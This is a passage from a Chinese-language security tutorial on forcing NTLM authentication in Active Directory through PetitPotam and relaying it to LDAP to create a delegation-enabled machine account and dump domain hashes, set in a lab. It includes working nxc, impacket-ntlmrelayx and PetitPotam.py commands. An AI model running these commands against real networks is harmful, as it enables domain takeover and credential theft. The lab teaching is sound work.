AD提权NTLM中继攻击如何实现强制认证?

摘要:爱之则不觉其过,恶之则不知其善。 导航 0 前言 1 委派 2 ADCS 证书申请 3 影子凭证 0、前言 NTLM 中继攻击的流程主要分为三个步骤:触发认证、中继攻击、后利用。其中, 触发认证又分为:主动强制认证、被动诱导认证; 中继攻击
爱之则不觉其过,恶之则不知其善。 导航 0 前言 1 委派 2 ADCS 证书申请 3 影子凭证 0、前言 NTLM 中继攻击的流程主要分为三个步骤:触发认证、中继攻击、后利用。其中, 触发认证又分为:主动强制认证、被动诱导认证; 中继攻击又包括:委派、ADCS 证书申请、影子凭证 等; 后利用 则根据 中继攻击 的不同,利用的方式亦有所不同。 在这篇文章中,我们将主要探讨有关主动强制认证的几种中继攻击的利用方法,最终实现权限提升从而完全掌控整个域。 主动强制认证常见的几个漏洞是:PeitiPotam、PrinterBug、DFSCoerce、ShadowCoerce、PrivExchange、Coercer。其中 PeitiPotam 漏洞无需提供域账户便可被检测和利用,因此它也是本文主要被使用的一种强制认证方法。 被动诱导认证:UNC 路径、恶意文档(Word、PDF)、图标文件(desktop.ini、scf 文件)、系统命令。 1、委派 环境简介 域名 - skylark.com 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51 Kali - 192.168.56.20 普通域用户 - user【非必须】 攻击条件 主备域控就是常规的域环境即可,无其它额外要求。 攻击流程 在本例中,经检测发现备域控存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2013 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 LDAP 协议中继到主域控,进而在主域控中创建一个具有委派权限(资源约束委派)的机器账户。然后,利用这个机器账户申请域管理员 administrator 的服务票据。最后,通过这张服务票据成功转储了域中所有用户的哈希。具体操作流程如下: 注:在这个例子中,备域控的机器账户所拥有的权限可以在主域控上登录并执行一些操作。而如果换成普通域主机 Win10 的机器账户在主域控上登录并操作的话,应该是不能够成功的。 (1)NTLM 强制认证漏洞检测。 nxc smb 192.168.56.51 -u user -p 'password@123' -d skylark.com -M coerce_plus 可以看到,PetitPotam 漏洞的检测无需提供域用户即可进行。此外,PetitPotam 漏洞的利用也不需要提供域用户。 (2)开启中继监听器。 impacket-ntlmrelayx -t ldap://192.168.56.50 --remove-mic --delegate-access 注:由于 PetitPotam 这类强制认证的漏洞利用都是基于 SMB 协议发起的身份认证,而我们要使用的委派功能 --delegate-access 则必须是基于 LDAP 协议的中继才行。而 impacket-ntlmrelayx 中继利用直接由 SMB 转 LDAP 一定是不成功的,这时 impacket-ntlmrelayx 工具的 --remove-mic 选项便帮上了大忙,它利用某种漏洞提供了一种 SMB 转 LDAP 的绕过方法。当然,如果这个漏洞补丁被打上了的话,那 --remove-mic 选项也无济于事了。 通常情况下,相同协议之间的中继转发一般不会出现问题,只有不同协议之间的转发才容易出问题,例如 SMB 转 LDAP。当然也有例外,例如 SMB 转 HTTP 也不会有什么问题。 (3)执行 NTLM 强制认证利用工具。 python PetitPotam.py -u user -p password123 -d skylark.com 192.168.56.20 192.168.56.51 注:PetitPotam.py 是一个用于触发 Windows 系统上的认证强制 的漏洞利用脚本,它强制目标机器向攻击者发起 NTLM 身份验证请求(SMB),以进行中继攻击(NTLM relay)。 (4)从中继攻击中提取出新创建的具有委派权限(资源约束委派)的机器账户。 可以看到,中继攻击成功执行,并且顺利创建了新的域机器账户:NJCKANET$:hJs5by4D8xfT6KI。 注:这个机器账户其实只是一个普通的账户,只不过在机器账户 DC2013 的 msDS-AllowedToDelegateTo 属性中指定了这个账户而已。
阅读全文